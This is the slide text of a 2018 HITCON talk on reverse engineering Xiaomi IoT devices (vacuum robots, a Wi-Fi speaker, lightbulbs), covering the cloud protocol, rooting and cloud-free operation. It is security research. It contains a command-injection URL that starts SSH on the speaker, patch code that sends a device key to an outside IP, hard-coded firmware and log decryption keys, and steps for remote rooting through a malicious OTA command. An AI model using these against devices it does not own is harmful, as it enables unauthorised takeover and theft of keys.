Reverse Engineering 101 of the Xiaomi IoT ecosystem
HITCON Community 2018 – Dennis Giese
Outline

• Motivation
• Xiaomi Cloud
• Overview of devices
• Reverse Engineering of devices
  – Intro
  – Vacuum Cleaning Robot
  – Wi-Fi Network Speaker
  – Smart Home Gateway and Lightbulbs
About me

• Researcher at Northeastern University, USA
• Grad student at TU Darmstadt, Germany
• [Insert more uninteresting information here]
• Why I am at HITCON?
  – First time in Asia, Curiosity wins
  – Xiaomi devices are actually used here ;)
  – There is a Xiaomi store in Taipei
MOTIVATION
Why reverse IoT?

• Depending on attacker model
  – (Find and exploit bugs to hack other people)
  – De-attach devices from the vendor
  – Enhance functionality
    • Add new features
    • Localization: new languages
  – Research of privacy problems
    • Questions: What data is collected?
How we started

May 2017
Mi Band 2
Vacuum Robot Gen 1

June 2017
Lumi Smart Home Gateway + Sensors

July 2017
Yeelink Lightbulbs (Color+White)
Yeelink LED Strip
How we continued

Yeelink Desk lamp
Philips Eyecare Desk lamp
Xiaomi Wi-Fi router

Yeelink/Philips Ceiling Lights
Philips Smart LED Bulb

Vacuum Robot Gen 2

Yeelink Bedside Lamp

Lumi Aqara Camera
Yeelink Smart LED Bulb (v2)
Smart Power strip
Why Vacuum Robots?

Three Processors

To provide more location stability there are three dedicated processors to track its movements in real-time, calculate the location and determine the

Source: Xiaomi advertisement
THE XIAOMI CLOUD
Xiaomi Cloud

- Different Vendors, one ecosystem
  - Same communication protocol
  - Different technologies supported
- Guidelines for implementation exists
  - Implementation differs from manufacturer to manufacturer
  - Software quality very different
Xiaomi Ecosystem

Cloud Protocol (WiFi)

WiFi

BLE

ZigBee

Gateway

HTTPS

Xiaomi Cloud (Mi)

* There could be more connections (e.g. P2P, FDS)
Device to Cloud Communication

• DeviceID
  – Unique per device

• Keys
  – Cloud key (16 byte alpha-numeric)
    • Is used for cloud communication (AES encryption)
    • Static, is not changed by update or provisioning
  – Token (16 byte alpha-numeric)
    • Is used for app communication (AES encryption)
    • Dynamic, is generated at provisioning (connecting to new Wi-Fi)
Cloud protocol

- Same payload for UDP and TCP stream
- Encryption key depending of Cloud/App usage
- For unprovisioned devices:
  - During discovery: Token in plaintext in the checksum field

<table>
<thead>
<tr>
<th></th>
<th>Byte 0,1</th>
<th>Byte 2,3</th>
<th>Byte 4,5,6,7</th>
<th>Byte 8,9,A,B</th>
<th>Byte C,D,E,F</th>
</tr>
</thead>
<tbody>
<tr>
<td>Header</td>
<td>Magic:2131</td>
<td>Length</td>
<td>00 00 00 00</td>
<td>DID</td>
<td>epoch (big endian)</td>
</tr>
<tr>
<td>Checksum</td>
<td>Md5sum[Header + Key(Cloud)/Token(App) + Data(if exists)]</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Data</td>
<td>Encrypted Data (if exists, e.g. if not Ping/Pong or Hello message)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>token = for cloud: key; for app: token</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>key = md5sum(token)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>iv = md5sum(key+token)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>cipher = AES(key, AES.MODE_CBC, iv, padded plaintext)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Cloud protocol

• Data
  – JSON-formatted messages
  – Packet identified by packetid
  – Structures:
    • commands: "methods" + "params"
    • responses : "results"
  – Every command/response confirmed by receiver (except otc)
• Example
Xiaomi Ecosystem

- WiFi
- BLE
- ZigBee
- Gateway

Cloud Protocol (WiFi)

HTTPS

Xiaomi Cloud

HITCON Community 2018 – Dennis Giese
App to Cloud communication

- Authentication via OAuth
- Layered encryption
  - Outside: HTTPs
  - Inside: RC4/AES using a session key
    - Separate integrity
- Message format: JSON RPC
- Device specific functions: provided by Plugins
App to Cloud communication

- **REQ:** api.io.mi.com/home/device_list method:POST params:[]
- **RES:**
  
  ```json
  {"message":"ok","result":{"list":[{"did":"659812bc...zzz","name":"Mi PlugMini","localip":"192.168.99.123","mac":"34:CE:00:AA:BB:CC","ssid":"IoT","bssid":DD:EE,"model":"chuangmi.plug.m1","longitude":"-71.0872248","latitude":"42.33794500","adminFlag":1,"shareFlag":0,"permitLevel":16,"isOnline":true,"desc":"Power plug on ","rssi":-47}}
  ```
App to Cloud communication

- "longitude":"-71.0872248","latitude":"42.33794500"

Source: Openstreetmaps

HITCON Community 2018 – Dennis Giese
LETS TAKE A LOOK AT THE PRODUCTS
Products

• ~260 different models supported (WiFi + Zigbee + BLE)
• Depending on selected server location
  – Mainland China
  – Taiwan
  – US
  – ...
  – models not always compatible
• My inventory: ~40 different models
  – 95 devices in total

Update after I went to the Mi Store:
  42 models, 99 devices 😊

Values estimated, Mi Home 5.3.13, Mainland China Server
Products

Different architectures

- ARM Cortex-A
- ARM Cortex-M
  - Marvell 88MW30X (integrated WiFi)
  - Mediatek MT7687N (integrated WiFi + BLE)
- MIPS
- Xtensa
  - ESP8266, ESP32 (integrated WiFi)

Focus of this talk
Why I hate ESP8266

• Weird architecture
• Difficult to reverse engineer
  – No decompiler
  – Limited disassembler support
  – No useable JTAG
• It's easier to replace the firmware
  – UART or OTA-Update
  • Good news: No SSL, unencrypted firmware over HTTP
Why I hate ESP8266
Operation Systems

- Ubuntu 14.04
  - Vacuum cleaning robots
- OpenWRT
  - Xiaomi Wifi Speaker, Routers, Minij washing machine
- Embedded Linux
  - IP cameras
- RTOS
  - Smart Home products
  - Lightbulbs, ceiling lights, light strips
# Implementations

<table>
<thead>
<tr>
<th></th>
<th>Vacuum Robot</th>
<th>Smart Home Gateway*</th>
<th>Philips Ceiling Light</th>
<th>Yeelink Bedside Lamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>Manufacturer</td>
<td>Rockrobo</td>
<td>Lumi United</td>
<td>Yeelight</td>
<td></td>
</tr>
<tr>
<td>MCU</td>
<td>Allwinner + STM + TI</td>
<td>Marvell (Wi-Fi)</td>
<td>MediaTek (Wi-Fi + BLE)</td>
<td></td>
</tr>
<tr>
<td>Firmware Update</td>
<td>Encrypted + HTTPS</td>
<td>Not Encrypted (No SSL stack!)</td>
<td>Not Encrypted + HTTPS (No Cert check!)</td>
<td></td>
</tr>
<tr>
<td>Debug Interfaces</td>
<td>Protected</td>
<td>Available</td>
<td>Available</td>
<td></td>
</tr>
</tbody>
</table>

*Does not apply for DGNWG03LM (Gateway model for Taiwan)
LETS GET ACCESS TO THE DEVICES
How to get access

• Hardware-based access
  – Micro USB Port?
  – Serial Connection on PCB?
  – JTAG/SWD?
  – Flash?

• Network-based access
  – Open Ports?
  – Sniff Network traffic?
Warranty seal?
When everything fails

- Trace pins of the IC
  - Datasheets/SDKs are your friends
- Destructive method for BGA:
  - Desolder IC and trace test points
- Non-destructive method for BGA/SO:
  - Measure voltage of test points
  - If 3.3 Volt: potential candidate for UART (TX)
- Signal Analyzer
  - Educated guessing
- Following lines with microscope
  - X-Ray ;)

[Image: Diagram of a printed circuit board with test points and components labeled.]
VACUUM CLEANING ROBOTS
Gen 1 Device Overview

Source: Xiaomi advertisement
Teardown
Frontside layout mainboard
Backside layout mainboard

- STM UART (921600 baud)
- R16 UART (115200 baud)
- LIDAR UART
Frontside layout mainboard (GEN2)
Rooting

• Usual (possibly destructive) way to retrieve the firmware
Rooting

Our weapon of choice:
Pin Layout CPU
Rooting (Gen1 + Gen2)

Initial Idea:
• Shortcut the MMC data lines
• SoC falls back to FEL mode
• Load + Execute tool in RAM
  – Via USB connector
  – Dump MMC flash
  – Modify image
  – Rewrite image to flash
Software

- Ubuntu 14.04.3 LTS (Kernel 3.4.xxx)
  - Mostly untouched, patched on a regular base
- Player 3.10-svn
  - Open-Source Cross-platform robot device interface & server
- Proprietary software (/opt/rockrobo)
  - Custom adbd-version
- iptables firewall enabled (IPv4!)
  - Blocks Port 22 (SSHd) + Port 6665 (player)
Available data on device

• Data
  – Logfiles (syslogs, stats, ssid, passwd)
  – “/usr/sbin/tcpdump -i any -s 0 -c 2000 –w”
  – Maps
• Data is uploaded to cloud
• Factory reset
  – Restores recovery to system
  – Does not delete data
    • Maps, Logs still exist
Available data on device

- Maps
  - Created by player
  - 1024px * 1024px
  - 1px = 5cm
Communication relations

- compass, uart_lds, uart_mcu
- player: 0.0.0.0:6665
- wifimgr
- RoboController
- Miio_client:
  - (local): 54322 (tcp)
  - 0.0.0.0:54321 (udp)
- AppProxy

Server:
- *fds.api.xiaomi.com (https)
- ott.io.mi.com:80 (tcp)
- ot.io.mi.com:8053 (udp)

Android/iPhone App

IPC:
- plain json (tcp)
- enc(key) json (tcp/udp)
- enc(token) json (udp)

AES encrypted

<-soundpackages, firmware maps, logs->

<-commands, reports->
# eMMC Layout

<table>
<thead>
<tr>
<th>Label</th>
<th>Content</th>
<th>Size in MByte</th>
</tr>
</thead>
<tbody>
<tr>
<td>boot-res</td>
<td>bitmaps &amp; some wav files</td>
<td>8</td>
</tr>
<tr>
<td>env</td>
<td>u-boot cmd line</td>
<td>16</td>
</tr>
<tr>
<td>app</td>
<td>device.conf (DID, key, MAC), adb.conf, vinda</td>
<td>16</td>
</tr>
<tr>
<td>recovery</td>
<td>fallback copy of OS</td>
<td>512</td>
</tr>
<tr>
<td>system_a</td>
<td>copy of OS (active by default)</td>
<td>512</td>
</tr>
<tr>
<td>system_b</td>
<td>copy of OS (passive by default)</td>
<td>512</td>
</tr>
<tr>
<td>Download</td>
<td>temporary unpacked OS update</td>
<td>528</td>
</tr>
<tr>
<td>reserve</td>
<td>config + calibration files, blackbox.db</td>
<td>16</td>
</tr>
<tr>
<td>UDISK/Data</td>
<td>logs, maps, pcap files</td>
<td>~1900</td>
</tr>
</tbody>
</table>
Update process

1. encrypted packet with pkg info

2. Download [app_url]

Update root pw in /etc/shadow

Unpack + dd

Decrypt + image OK?

system_a

system_b

Download

Data

milO.ota ("mode")

dd

Active copy

rebooting...

HITCON Community 2018 – Dennis Giese
Firmware updates

• Full images
  – Encrypted tar.gz archives
  – Contains disk.img with 512 Mbyte ext4-filesystem

• Encryption
  – Static password: “rockrobo”
  – Ccrypt [256-bit Rijndael encryption (AES)]

• Integrity
  – MD5 provided by cloud

Sound Packages
Static password: “r0ckrobo#23456”
c crypt -d -K %s %s
rockrobo
Lets root remotely

• Preparation: Rebuild Firmware
  – Include authorized_keys
  – Remove iptables rule for ssdh

• Send „miLO.ota“ command to vacuum
  – Encrypted with token
    • From app or unprovisioned state
  – Pointing to own http server
**Lets root remotely**

unprovisioned state

„Get Token“

„miO.ota“

Webserver

HITCON Community 2018 – Dennis Giese
SSH

login as: root
Authenticating with public key "rsa-key-gami" from agent
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.14.39 armv71)

* Documentation:  https://help.ubuntu.com/
Last login: Thu Dec 14 01:43:59 2017 from 192.168.0.67
root@rockrobo:~#
```
root@rockrobe:~ # apt-get update
Ign http://us.ports.ubuntu.com trusty InRelease
Get:1 http://us.ports.ubuntu.com trusty-updates InRelease [65.9 kB]
Get:2 http://us.ports.ubuntu.com trusty-security InRelease [65.9 kB]
Hit http://us.ports.ubuntu.com trusty Release
Hit http://us.ports.ubuntu.com trusty Release
Hit http://ppa.launchpad.net trusty InRelease
Get:3 http://us.ports.ubuntu.com trusty-updates/main Sources [409 kB]
Get:4 http://us.ports.ubuntu.com trusty-updates/restricted Sources [6322 B]
Get:5 http://us.ports.ubuntu.com trusty-updates/main armhf Packages [875 kB]
Hit http://ppa.launchpad.net trusty/main armhf Packages
Get:6 http://us.ports.ubuntu.com trusty-updates/restricted armhf Packages [8931 B]
Hit http://ppa.launchpad.net trusty/main Translation-en
Get:9 http://us.ports.ubuntu.com trusty-security/main Sources [147 kB]
Get:10 http://us.ports.ubuntu.com trusty-security/restricted Sources [4931 B]
Get:11 http://us.ports.ubuntu.com trusty-security/main armhf Packages [575 kB]
Get:12 http://us.ports.ubuntu.com trusty-security/restricted armhf Packages [8931 B]
```

Gain Independence

Xiaomi Cloud

Copyright: 20th Century Fox
Proxy cloud communication

- **Robot intern**
  - **compass**
  - **uart_lds**
  - **uart_mcu**

- **RoboController**
  - **player**
    - 0.0.0.0:6665

- **wifimgr**

- **AppProxy**
  - **Miio_client**
    - (local):54322 (tcp)
    - 0.0.0.0:54321 (udp)

- **Dustcloud**
  - * .fds.api.xiaomi.com (https)
  - ot.io.mi.com:80 (tcp)
  - ott.io.mi.com:8053 (udp)

- **Android/ iPhone App**

- **IPC**
  - plain json (tcp)
  - enc(key) json (tcp/udp)
  - enc(token) json (udp)

---

/etc/hosts
130.83.x.x ot.io.mi.com
130.83.x.x ott.io.mi.com

HITCON Community 2018 – Dennis Giese
Possible Countermeasures

• Changing the firmware key
  – Useless -> we will figure out ;)
• Encrypting the MMC, enabling Secure Boot
  – Allwinner R16 does not support this
• Encrypting/Obfuscating the log-files and maps
  – They tried in the last version
  – Here is the AES128CBC-key: “RoCKR0B0@BEIJING”
How to get the log and map AES key?

- RRlogd uses AES encryption functions from OpenSSL library
  - Imported as dynamic library
  - Interesting function: EVP_EncryptInit_ex(...)
- Helpful tool: ltrace
  - Intercepts library calls
  - Shows contents arguments of function calls
Helpful Tools

• Dustcloud (https://github.com/dgiese/dustcloud)
  – image builder: generation of custom firmware
  – flasher: easy installation of firmware
  – “Dustcloud”: emulation of the Xiaomi Smarthome Cloud

• Interesting projects
  – Aerodust: WiFi signal strength mapping using the robot
  – Various local interfaces (maps, controls)
Summary of the Vacuum

• Rooting
  – Remote!
• Cloud Connection
  – Run without cloud
  – Run with your own cloud

• Main objective: We want the Cloudkeys!
WI-FI NETWORK SPEAKER

Applies to: xiaomi.wifispeaker.v1, basic idea also for xiaomi.router.
Overview Hardware

- CPU: Amlogic Meson3
  - ARM Cortex-A
- RAM: 128MB
- Flash: 8GByte
- WI-Fi+BT: Broadcom BCM4345
- OS: OpenWRT
  - Samba 3.x
  - VLC libraries
Serial Port
Rooting

• Teardown of device not necessary
• Firmware updates over HTTP
  – packed LZMA in XML format
• Classic vulnerability: no input validation

http://{ip}:9999/{ssdp id}/Upnp/resource/sys?command=nslookup&host=`echo 192.168.0.2`&dns_server=`/etc/init.d/ssh start`
SMART HOME GATEWAY, LIGHTBULBS AND LED STRIPS

*Does not apply for DGNWG03LM (Gateway model for Taiwan)
Xiaomi Ecosystem

Cloud Protocol (WiFi)

BLE

HTTPS

Cloud Protocol (WiFi)

ZigBee

Gateway

Xiaomi Cloud

HITCON Community 2018 – Dennis Giese
Overview Hardware

• Application-MCU: Marvell 88MW30x *
  – ARM **Cortex-M4F** @ 200 MHz
  – **RAM**: 512 KByte SRAM
  – **Flash**: 16 MByte (Gateway)
    • 4 Mbyte SPI (LED Strip, Lightbulb, etc)
  – Integrated **802.11b/g/n WiFi Core**
  – **Device ID + Keys stored in OTP memory**
• Zigbee-MCU: NXP JN5169 (**Gateway only**)
  – 32-bit RISC CPU
  – **RAM**: 32 kB
  – **Flash**: 512 kB embedded Flash, 4 kB EEPROM

*Does not apply for DGNWG03LM (Gateway Model for Taiwan)
Sensors connected via gateway

Zigbee (NXP JN5169) based
- Door Sensor (Reed contact)
- Temperature sensor
- Power Plug
- Motion Sensor
- Button
- Smoke Detector
- Smart Door Lock
- ...
Acquiring the Key

- PCB got lots of testing points
- SWD is enabled by default

<table>
<thead>
<tr>
<th></th>
<th>SDCLK</th>
<th>SDIO</th>
</tr>
</thead>
<tbody>
<tr>
<td>RST</td>
<td>TX*</td>
<td>GND</td>
</tr>
<tr>
<td></td>
<td></td>
<td>RX*</td>
</tr>
</tbody>
</table>

*UART

We can get the key from the memdump
Acquiring the Key

• Can we get the Key **without** a hardware attack?
• Firmware updates are **not signed**...

   Lets create a **modified firmware**
   which gives us the key automatically!

✔ **No** hardware access needed
✗ The lightbulb runs a bare-metal OS
   => we need to **patch the binary**
Good news

- Vendors are lazy
- Assumed development of firmware:
  - Take SDK/toolchain of chip vendor (e.g. Marvell)
  - Add Mijia/Mi SDK with samples
  - Modify sample that the product runs
  - If it works: publish firmware

All firmwares very similar (memory layout, functions, strings, etc)
Binary Patching: Goals

- Modify **program flow**
- **Add** additional **code**
- Use **existing functions**
Binary Patching: Why can it be hard?

- **Overwrite** branch instructions
  \[\text{New Address} = \text{Value of PC} + \text{Offset}\] (on ARM)
- Write new code in **assembly**
- **Model** **address space** (RAM / ROM / free space)
- **Call** existing functions
- **Handle** **different** firmware **versions** and **devices**

https://github.com/seemoo-lab/nexmon
Nexmon requirements

• Known memory layout
• Known function names and signature
• Free space on flash for patch

Watch my talk at DEFCON 26 IoT Village if you want to know how this black magic exactly works.
**Binary Patching: Nexmon Framework**

Get function names:

1. Compile Example Project with debug symbols (e.g. from SDK)
2. Load ELF binary into IDA Pro
3. Use Bindiff to apply function names

---

**Compile Example Project**

```
main()
```

**Load ELF binary into IDA Pro**

```
0110 1010 0011
```

**Use Bindiff to apply function names**

VS
Binary Patching: Nexmon Framework

- Write your patch code in C
  - Reuse existing functions

```c
1 // Patch code
2 void
3 hook(char *buffer, int a, const char *format, ...) {
4   const char *key = (const char *) 0x20000342;
5   snprintf(hookbuffer, 140, "http://1.2.3.4/key.php?key=\%s", key);
6   send_over_http(hookbuffer);
7 }
8
9 // Overwrite original branch
10 __attribute__((at(0x1F015036, "", CHIP_VER_MW300_COLORBULB1, FW_VER_MW300_COLORBULB1_141_56)))
11 BLPatch(hook, hook);
```
Preparing the modified binary (Marvell)

- Binaries have special format
  - SPI format != OTA format
  - Conversion from OTA binary to ELF file helpful

<table>
<thead>
<tr>
<th>Byte</th>
<th>0-3</th>
<th>4-7</th>
<th>8-11</th>
<th>12-15</th>
<th>16-19</th>
</tr>
</thead>
<tbody>
<tr>
<td>Magic</td>
<td>4D 52 56 4C</td>
<td>7B F1 9C 2E</td>
<td>FF BE A8 59</td>
<td>03 00 00 00</td>
<td>19 37 00 1F</td>
</tr>
<tr>
<td>&quot;MRVL&quot;</td>
<td>0x1f003719</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000014</td>
<td>02 00 00 00</td>
<td>C8 00 00 00</td>
<td>00 00 10 00</td>
<td>20 C8 51 7D</td>
</tr>
<tr>
<td></td>
<td>0xc8</td>
<td>0x3650</td>
<td>0x100000</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000028</td>
<td>02 00 00 00</td>
<td>18 37 00 00</td>
<td>18 37 00 1F</td>
<td>0A 11 25 85</td>
</tr>
<tr>
<td></td>
<td>0x3718</td>
<td>0x81528</td>
<td>0x1f003718</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>segment magic</th>
<th>offset in file</th>
<th>size of segment</th>
<th>mem addr</th>
<th>checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000003C</td>
<td>02 00 00 00</td>
<td>40 4C 08 00</td>
<td>40 00 00 20</td>
<td>FB 5F ED 39</td>
</tr>
<tr>
<td></td>
<td>0x84c40</td>
<td>0x1954</td>
<td>0x20000040</td>
<td></td>
</tr>
</tbody>
</table>

We have Python tools for that

Bin -> ELF
ELF -> Bin
Preparing the modified binary (Mediatek)

- Mediatek Segments: lzma-compressed

<table>
<thead>
<tr>
<th>Byte</th>
<th>Magic</th>
<th># of Segments</th>
<th>Offset in File</th>
<th>mem addr</th>
<th>Size of segment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>4D 4D 4D 00</td>
<td>03 00 00 00</td>
<td>C8 00 00 00</td>
<td>00 00 10 00</td>
<td>50 36 00 00</td>
</tr>
<tr>
<td>„MMM“</td>
<td>0xc8</td>
<td>0x100000</td>
<td>0x3650</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

... SHA-1 Checksum...
Applying the modified firmware

Xiaomi Cloud

„OTA Update available“ (miO.ota)

Xiaomi CDN

Our CDN ;)

DNS
Proxy cloud communication

Dustcloud

<<commands, reports->

Android/iPhone App

DNS Records
130.83.x.x ot.io.mi.com
130.83.x.x ott.io.mi.com

IPC
plain json (tcp)
enc(key) json (tcp/udp)
enc(token) json (udp)
Summary Lightbulbs/Gateway

- **Rooting**
  - Modification of the firmware
  - **Remote**! (thanks to missing integrity checks)

- **Cloud Connection**
  - Read all cloud communications in plaintext
  - Run with your **own** cloud
One word of warning...

• Never leave your devices unprovisioned
  – Someone else can provision it for you
    • Install malicious firmware
    • Snoop on your apartment
• Be careful with used devices
  – e.g. Amazon Marketplace
  – Some malicious software may be installed
Conclusion

• Basic best practices not used
  – No firmware signatures
  – Use of HTTPS and certificate verification broken
  – Hardware security features are missing
• Good
  – We can modify the devices
• Bad
  – Someone else can do too
Acknowledgements

• Secure Mobile Networking (SEEMOO) Labs and CROSSING S1

• Prof. Guevara Noubir (CCIS, Northeastern University)

• Daniel Wegemer (aka DanielAW)
• Special thanks to my credit card and bank account ;)

➡️ www.dontvacuum.me